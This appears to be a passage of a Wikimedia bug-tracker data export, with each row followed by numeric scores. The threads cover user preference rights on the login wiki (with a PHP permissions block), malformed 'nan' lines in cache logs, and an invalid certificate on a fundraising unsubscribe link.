Also, no, I've no ""bigger issues"". I could also ask why the setting isn't set to Chinese as language and to cologne blue as skin setting. If there is no serious reason to patronize users by taking them the choice, then they should be given the choice to decide what language or skin we want to use.",,,1388964339,,PHID-USER-w5jfyyrsmzhqbvis3i23,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,False,,,-78,True,0.5,0.0,0.0,2.0,1.5,2.5,0.0,0.0,0.0,1.0,1.5,2.0,0.0,0.0,1.5,2.5,0.0,7.0,10.0,0.0,5.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,5.5,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,2.0,2.5,3.5,4.5,2.0,2.0,8.0,0.0,0.0,0.0,0.0,7.5,0.5,0.0,0.0,6.0,10.0,1.0,0.0,1.5,0.0,6.0,0.0,3.5,0.0,1.5,1.5,1.0,0.0,0.0,3.8389830508474576,0.7203389830508474,"I really see no reason why users there, especially those who use that project shouldn't be allowed to decide themselves which language they want to see, or which skin they want to use. There is no reason to restrict that to some randomly chosen setting.

Also, no, I've no ""bigger issues"". I could also ask why the setting isn't set to Chinese as language and to cologne blue as skin setting. If there is no serious reason to patronize users by taking them the choice, then they should be given the choice to decide what language or skin we want to use."
263392,Personal adjustment of setting on login.wikimedia.org,"if ( $wgDBname == 'loginwiki' ) {
	$wgGroupPermissions['*'] = array(
		'read' => true,
		'centralauth-autoaccount' => true,
	);
	$wgGroupPermissions['user'] = array(
		'read' => true,
	);
	$wgGroupPermissions['autoconfirmed'] = array(
		'read' => true,
	);

	unset( $wgGroupPermissions['import'] );
	unset( $wgGroupPermissions['transwiki'] );

	$wgGroupPermissions['sysop'] = array_merge(
		$wgGroupPermissions['sysop'],
		array(
			'editinterface' => false,
			'editusercss' => false,
			'edituserjs' => false,
		)
	);
}


Anyone would think we made those changes for a reason",,,1388964137,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,0.0,0.5,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.5,0.0,13.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.5,1.0,0.5,0.0,13.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,6.5,3.392405063291139,0.3924050632911392,"if ( $wgDBname == 'loginwiki' ) {
	$wgGroupPermissions['*'] = array(
		'read' => true,
		'centralauth-autoaccount' => true,
	);
	$wgGroupPermissions['user'] = array(
		'read' => true,
	);
	$wgGroupPermissions['autoconfirmed'] = array(
		'read' => true,
	);

	unset( $wgGroupPermissions['import'] );
	unset( $wgGroupPermissions['transwiki'] );

	$wgGroupPermissions['sysop'] = array_merge(
		$wgGroupPermissions['sysop'],
		array(
			'editinterface' => false,
			'editusercss' => false,
			'edituserjs' => false,
		)
	);
}


Anyone would think we made those changes for a reason"
263390,Personal adjustment of setting on login.wikimedia.org,"https://en.wikipedia.org/wiki/Special:ListGroupRights shows the ""editmyoptions"" user right applied to the implicit (all) group.

https://login.wikimedia.org/wiki/Special:ListGroupRights doesn't show a similar user right applied to any user group. Not sure what's going on.",,,1388963724,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,5.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,8.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.641025641025641,0.717948717948718,"URL shows the ""editmyoptions"" user right applied to the implicit (all) group.

URL doesn't show a similar user right applied to any user group. Not sure what's going on."
263388,Personal adjustment of setting on login.wikimedia.org,"(In reply to comment #6)
> You realise if we ""just"" give it to one group, every other group will want it
> too?

Okay. Let's take a step back here: why can't users set preferences on login.wikimedia.org?

> And what reason do we have to not let them?

In my opinion, the onus is on the person wanting to restrict a common user behavior (setting pre-user preferences). That is, _you_ need a reason to restrict a user from setting preferences rather than trying to require that _others_ find a reason to be able to set per-user preferences.",,,1388963467,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,0.0,0.0,0.0,0.0,1.0,4.0,2.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,14.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,3.0,0.0,2.0,1.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,22.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,3.0,8.0,2.0,0.0,8.0,0.0,0.0,0.0,1.0,9.0,1.0,1.0,0.0,5.0,14.0,1.0,1.0,0.0,0.0,5.0,0.0,1.0,5.0,0.0,4.0,0.0,0.0,0.0,3.6530612244897958,0.6224489795918368,"(In reply to comment #6)
QUOTE
QUOTE

Okay. Let's take a step back here: why can't users set preferences on login.wikimedia.org?

QUOTE

In my opinion, the onus is on the person wanting to restrict a common user behavior (setting pre-user preferences). That is, _you_ need a reason to restrict a user from setting preferences rather than trying to require that _others_ find a reason to be able to set per-user preferences."
263385,Personal adjustment of setting on login.wikimedia.org,"(In reply to comment #2)
> And others like me simply dislike the vector skin and would like to change
> it.

ULS works fine

(In reply to comment #3)
> Setting language is possible with UniversalLanguageSelector.
> 
> (Is this a bug of ULS that it doesn't respect the wiki's permission
> configurations here?)",,,1388963404,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.787878787878788,0.45454545454545453,"(In reply to comment #2)
QUOTE
QUOTE

ULS works fine

(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE"
263380,Personal adjustment of setting on login.wikimedia.org,"You realise if we ""just"" give it to one group, every other group will want it too? And what reason do we have to not let them?",,,1388963231,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,19.0,9.0,0.0,6.0,6.0,0.0,19.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.125,0.8125,"You realise if we ""just"" give it to one group, every other group will want it too? And what reason do we have to not let them?"
263377,Personal adjustment of setting on login.wikimedia.org,"(In reply to comment #4)
> (In reply to comment #1)
> > Why?
> 
> Why not? ;-)

Just because you can doesn't make it a good idea

(In reply to comment #4)
> In seriousness, this wiki is used by the stewards for some things, so having
> those customisation options there makes sense.

For what?

(In reply to comment #3)
> Setting language is possible with UniversalLanguageSelector.
> 
> (Is this a bug of ULS that it doesn't respect the wiki's permission
> configurations here?)

Possibly, but not really that big of a one...

(In reply to comment #2)
> Is it that much of a problem to give people the choice which skin or language
> they want to use? We've stewards no fluent in English who may would like to
> use
> their language for better understand.
> 
> And others like me simply dislike the vector skin and would like to change
> it.

Sounds like you've got bigger issues",,,1388963184,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,0.0,0.0,0.0,0.0,1.5,2.5,0.0,0.5,0.0,0.0,2.5,1.5,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.5,0.0,0.5,5.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,19.0,0.5,1.0,1.5,0.0,0.0,0.0,2.5,3.0,0.0,3.5,0.0,2.0,8.0,7.5,0.5,0.0,0.0,2.0,0.0,0.5,1.5,0.0,0.0,1.0,0.0,0.0,2.9631712626995643,0.5241291727140784,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE

Just because you can doesn't make it a good idea

(In reply to comment #4)
QUOTE
QUOTE

For what?

(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE

Possibly, but not really that big of a one...

(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Sounds like you've got bigger issues"
263375,Personal adjustment of setting on login.wikimedia.org,"(In reply to comment #1)
> Why?

Why not? ;-)

In seriousness, this wiki is used by the stewards for some things, so having those customisation options there makes sense.",,,1388958297,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,3.0,3.0,10.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.6923076923076925,0.9230769230769231,"(In reply to comment #1)
QUOTE

Why not? ;-)

In seriousness, this wiki is used by the stewards for some things, so having those customisation options there makes sense."
263369,Personal adjustment of setting on login.wikimedia.org,"Setting language is possible with UniversalLanguageSelector.

(Is this a bug of ULS that it doesn't respect the wiki's permission configurations here?)",,,1388948750,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,0.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,7.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.714285714285714,1.0,"Setting language is possible with UniversalLanguageSelector.

(Is this a bug of ULS that it doesn't respect the wiki's permission configurations here?)"
263365,Personal adjustment of setting on login.wikimedia.org,"Is it that much of a problem to give people the choice which skin or language they want to use? We've stewards no fluent in English who may would like to use their language for better understand.

And others like me simply dislike the vector skin and would like to change it.",,,1388948681,,PHID-USER-w5jfyyrsmzhqbvis3i23,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,False,,,-78,True,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,16.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,7.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,7.0,2.0,5.0,9.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,11.0,16.0,2.0,2.0,0.0,0.0,11.0,0.0,4.0,2.0,2.0,0.0,2.0,0.0,0.0,3.9473684210526314,0.7894736842105263,"Is it that much of a problem to give people the choice which skin or language they want to use? We've stewards no fluent in English who may would like to use their language for better understand.

And others like me simply dislike the vector skin and would like to change it."
263359,Personal adjustment of setting on login.wikimedia.org,Why?,,,1388948346,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,Why?
61645,Lines with “nan” for “Request service time” column and empty HTTP status code in cache logs,"Since 2013-12-10 we're seeing between 15-40 lines per day in the
sampled-1000 cache logs that have “nan” in the “Request service time”
column [1].
For the mobile-sampled-100 cache logs it is 10-30 such lines per day [2].
The zero logs do not show any affected lines up to now.

The affected lines come with “-/” for the “Request status / HTTP
status code” column, and “Reply size” is “-”.



[1] The first occurrence for the sampled-1000 stream can be obtained by
running

  zgrep 49094481570 /a/squid/archive/sampled/sampled-1000.tsv.log-20131210.gz

on stat1002. That line is for cp1050.eqiad.wmnet on
2013-12-10T03:36:04.

[2] The first occurrence for the mobile-sampled-100 stream can be
obtained by running

  zgrep 9650126710 /a/squid/archive/mobile/mobile-sampled-100.tsv.log-20131210.gz

on stat1002. That line is for cp1047.eqiad.wmnet on
2013-12-10T02:01:24.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1388846760,1411156173.0,PHID-USER-pntojlcbclwhuip53bix,False,,False,PHID-TASK-75trrojx3mwpmttjtrpl,task_description,resolved,True,c3,1,True,False,True,-78,True,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,4.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,7.666666666666667,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,3.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,14.333333333333334,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,3.6666666666666665,2.3333333333333335,5.0,0.3333333333333333,0.3333333333333333,4.666666666666667,0.0,0.0,0.0,0.0,1.0,0.0,7.666666666666667,0.0,0.6666666666666666,7.666666666666667,2.6666666666666665,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,1.6666666666666667,3.794026903615945,0.6694434160187585,"Since 2013-12-10 we're seeing between 15-40 lines per day in the
sampled-1000 cache logs that have “nan” in the “Request service time”
column [1].
For the mobile-sampled-100 cache logs it is 10-30 such lines per day [2].
The zero logs do not show any affected lines up to now.

The affected lines come with “-/” for the “Request status / HTTP
status code” column, and “Reply size” is “-”.



[1] The first occurrence for the sampled-1000 stream can be obtained by
running

  zgrep 49094481570 /a/squid/archive/sampled/sampled-1000.tsv.log-20131210.gz

on stat1002. That line is for cp1050.eqiad.wmnet on
2013-12-10T03:36:04.

[2] The first occurrence for the mobile-sampled-100 stream can be
obtained by running

  zgrep 9650126710 /a/squid/archive/mobile/mobile-sampled-100.tsv.log-20131210.gz

on stat1002. That line is for cp1047.eqiad.wmnet on
2013-12-10T02:01:24.

--------------------------
**Version**: unspecified
**Severity**: normal"
261010,Lines with “nan” for “Request service time” column and empty HTTP status code in cache logs,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/analytics/cards/cards/1391",,,1390946223,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-75trrojx3mwpmttjtrpl,task_subcomment,,True,c3,1,False,,,-75,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
261006,Lines with “nan” for “Request service time” column and empty HTTP status code in cache logs,"(In reply to comment #3)
> Per Andrew/Stefan -- this ends up causing problems with Hive.
> 
> Magnus has created a patch; we hope to get this deployed this week.

Yes, but that'll only address the issue on the varnishkafka side.

varnishncsa (hence udp2log, webstatscollector, tsvs) do not benefit
from this fix.",,,1389130450,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-75trrojx3mwpmttjtrpl,task_subcomment,,True,c3,1,True,,,-78,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,6.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,2.0,9.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.617021276595745,0.7446808510638298,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE

Yes, but that'll only address the issue on the varnishkafka side.

varnishncsa (hence udp2log, webstatscollector, tsvs) do not benefit
from this fix."
261001,Lines with “nan” for “Request service time” column and empty HTTP status code in cache logs,"(In reply to comment #2)
> what's the impact of this?

It's not super critical.
But since it seems to be more than just the nans, it may be more than the
initial few lines that are affected.

> Do we need to spend some
> time
> working with ops to track it down?

Ops already know and had a first look :-)

It seems only the nans started on 2013-12-10. Some bogus requests were
there before, but it seems they have been treated differently.
Not sure yet.",,,1389130367,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-75trrojx3mwpmttjtrpl,task_subcomment,,True,c3,1,True,,,-78,True,2.0,0.0,0.0,2.0,2.0,8.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,7.0,0.0,2.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,1.0,5.0,2.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,5.0,11.0,1.0,3.0,5.0,0.0,1.0,0.0,1.0,3.0,0.0,4.0,0.0,6.0,7.0,2.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,3.3333333333333335,0.6875,"(In reply to comment #2)
QUOTE

It's not super critical.
But since it seems to be more than just the nans, it may be more than the
initial few lines that are affected.

QUOTE
QUOTE
QUOTE

Ops already know and had a first look :-)

It seems only the nans started on 2013-12-10. Some bogus requests were
there before, but it seems they have been treated differently.
Not sure yet."
260995,Lines with “nan” for “Request service time” column and empty HTTP status code in cache logs,"Per Andrew/Stefan -- this ends up causing problems with Hive.

Magnus has created a patch; we hope to get this deployed this week.",,,1389107439,,PHID-USER-ud7f5gp5h3uqup6viq4e,False,,,PHID-TASK-75trrojx3mwpmttjtrpl,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,14.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.7586206896551726,0.896551724137931,"Per Andrew/Stefan -- this ends up causing problems with Hive.

Magnus has created a patch; we hope to get this deployed this week."
260988,Lines with “nan” for “Request service time” column and empty HTTP status code in cache logs,"Hi Christian, Erik -- what's the impact of this? Do we need to spend some time working with ops to track it down?

thanks,

-Toby",,,1389104298,,PHID-USER-ud7f5gp5h3uqup6viq4e,False,,,PHID-TASK-75trrojx3mwpmttjtrpl,task_subcomment,,True,c3,1,False,,,-78,True,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,16.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,6.0,16.0,6.0,6.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.34375,0.875,"Hi Christian, Erik -- what's the impact of this? Do we need to spend some time working with ops to track it down?

thanks,

-Toby"
260979,Lines with “nan” for “Request service time” column and empty HTTP status code in cache logs,"The host name of the affected lines range over all hosts in
upload-eqiad, upload-esams, and mobile-eqiad, but no other cache.

The request method of the affected lines look mangled. HEAD+GET
account for ~55% of the affected lines. The other 45% of the affected
lines, the logged request method looks like being part of the http
header [1].

The URL column of the affected lines is for about 8% the mobile
version of jawiki and ptwiki. None of those 8% show a User Agent,
Referrer, or Accept-Language.

For >80% of the affected lines, the URL column is upload.wikimedia.org.

For the remaining ~10% of affected lines, the URL column did not make
too much sense. They are for example “http://-en-US,en;q=0.8”. So it's
also header information that spilled over into this column.

Requested URLs are not distributed all over the place, but rather
isolated. So for example the requested URL for ~33% of the affected
lines was:
  http://upload.wikimedia.orgHTTP/1.1
For ~12% it was
  http://upload.wikimedia.org/wikipedia/en/c/ca/2M_TV_(logo).gif""""
.

And those requests are not clustered around a certain date / time, but
span the whole date / time range between 2013-12-10 and now.

The referrers are “-” for ~60% of affected lines, and for ~32% some
Url from mobile enwiki.

The logged User-Agents, Accept-Languages look sane.



[1] Here are some examples:
  Accept-Language:
  x-Mercedes-Benz_Three_Point_Star.jpg
  exagonal_Icon.svg.png
  .svg.png
  Referer:
  HTTP/1.1

To see more of them, run
  cut -f 8 /home/qchris/nan.tsv | sort | uniq -c | sort -n
on stat1002.",,,1388846784,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-75trrojx3mwpmttjtrpl,task_subcomment,,True,c3,1,True,,,-78,True,1.25,0.0,0.0,0.5,0.75,5.75,1.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.25,0.25,0.0,0.0,0.0,1.0,0.25,0.0,0.25,0.0,0.0,0.0,3.5,1.5,0.5,0.0,0.0,0.0,0.0,0.25,1.25,0.25,0.5,0.25,0.5,0.0,0.25,0.0,0.25,0.0,19.25,0.0,0.75,0.0,0.25,0.0,0.0,0.0,0.0,0.75,0.0,0.0,0.75,0.0,0.5,0.0,0.25,0.0,6.0,2.5,10.5,0.25,2.25,7.75,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,9.0,5.0,0.0,0.0,0.0,1.0,0.0,0.25,0.5,0.25,0.25,0.25,0.25,1.0,3.620288692862871,0.6466519647153167,"The host name of the affected lines range over all hosts in
upload-eqiad, upload-esams, and mobile-eqiad, but no other cache.

The request method of the affected lines look mangled. HEAD+GET
account for ~55% of the affected lines. The other 45% of the affected
lines, the logged request method looks like being part of the http
header [1].

The URL column of the affected lines is for about 8% the mobile
version of jawiki and ptwiki. None of those 8% show a User Agent,
Referrer, or Accept-Language.

For >80% of the affected lines, the URL column is upload.wikimedia.org.

For the remaining ~10% of affected lines, the URL column did not make
too much sense. They are for example “URL So it's
also header information that spilled over into this column.

Requested URLs are not distributed all over the place, but rather
isolated. So for example the requested URL for ~33% of the affected
lines was:
  URL
For ~12% it was
  URL
.

And those requests are not clustered around a certain date / time, but
span the whole date / time range between 2013-12-10 and now.

The referrers are “-” for ~60% of affected lines, and for ~32% some
Url from mobile enwiki.

The logged User-Agents, Accept-Languages look sane.



[1] Here are some examples:
  Accept-Language:
  x-Mercedes-Benz_Three_Point_Star.jpg
  exagonal_Icon.svg.png
  .svg.png
  Referer:
  HTTP/1.1

To see more of them, run
  cut -f 8 /home/qchris/nan.tsv | sort | uniq -c | sort -n
on stat1002."
60373,Opting out of the annual fundraising e-mail is a terrible user experience; links.email.donate.wikimedia.org has invalid certificate,"This may need to be split out to separate bug reports.

The annual fundraising e-mail contains this text:

---
You are receiving this email as a valued donor of the Wikimedia Foundation. If you do not wish to receive any future emails from the Wikimedia Foundation, unsubscribe instantly.
---

""unsubscribe instantly"" is a link to <https://links.email.donate.wikimedia.org/>. This domain doesn't have a valid SSL certificate, so the browser throws a terrifying warning. This is bad.

If the user chooses to proceed, he or she is presented with an awful form (so much for instantly unsubscribing...):

---
Opt-out Email Confirmation
Enter Email: [              ]

